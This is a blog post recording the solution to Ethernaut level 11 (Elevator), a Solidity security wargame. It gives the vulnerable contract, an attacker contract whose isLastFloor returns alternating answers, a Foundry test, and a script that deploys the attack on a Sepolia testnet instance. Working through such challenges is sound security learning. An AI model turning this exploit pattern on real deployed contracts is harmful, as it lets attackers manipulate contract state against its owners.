Skip to content

Ethernaut LV11-LV15 解题记录

字数
296 字
阅读时间
2 分钟

Lv 11 Elevator

根据题目描述,需要使目标合约状态 top = true,恶意实现isLastFloor函数,比较无聊

Elevator.sol

Solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
    function isLastFloor(uint256) external returns (bool);
}

contract Elevator {
    bool public top;
    uint256 public floor;

    function goTo(uint256 _floor) public {
        Building building = Building(msg.sender);

        if (!building.isLastFloor(_floor)) {
            floor = _floor;
            top = building.isLastFloor(floor);
        }
    }
}

ElevatorAttacker.sol

Solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import {Elevator, Building} from "./Elevator.sol";

contract ElevatorAttacker is Building {
    Elevator elevator;
    bool top = true;

    function isLastFloor(uint) external returns (bool) {
        top = !top;
        return top;
    }

    function attack(address _elevator) external {
        elevator = Elevator(_elevator);
        elevator.goTo(1);
    }
}

Elevator.t.sol

Solidity
// SPDX-Lience-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import {Test} from "forge-std/Test.sol";
import {Elevator} from "../src/Elevator.sol";
import {ElevatorAttacker} from "../src/ElevatorAttacker.sol";

contract ElevatorAttackerTest is Test {
    Elevator target;
    ElevatorAttacker attacker;

    function setUp() public {
        target = new Elevator();
        assertEq(target.top(), false);

        attacker = new ElevatorAttacker();
    }

    function testAttack() public {
        attacker.attack(address(target));
        assertEq(target.top(), true);
    }
}
zsh
forge test ./11_Elevator/test/Elevator.t.sol

Elevator.s.sol

Solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import {Script} from "forge-std/Script.sol";
import {ElevatorAttacker} from "../src/ElevatorAttacker.sol";

contract ElevatorAttackerScript is Script {
    function run() external {
        address targetAddress = 0x64cF6Ca8E70bBE0B4661B6Cc4Ad5313A9dE98d84;

        vm.createSelectFork(vm.envString("SEPOLIA_RPC_URL"));
        vm.startBroadcast(vm.envUint("SEPOLIA_PRIVATE_KEY"));

        ElevatorAttacker attacker = new ElevatorAttacker();
        attacker.attack(targetAddress);

        vm.stopBroadcast();
    }
}
zsh
forge script ./11_Elevator/script/Elevator.s.sol -vvv --broadcast

You can use the view function modifier on an interface in order to prevent state modifications. The pure modifier also prevents functions from modifying the state. Make sure you read Solidity's documentation and learn its caveats.

An alternative way to solve this level is to build a view function which returns different results depends on input data but don't modify state, e.g. gasleft().

贡献者

页面历史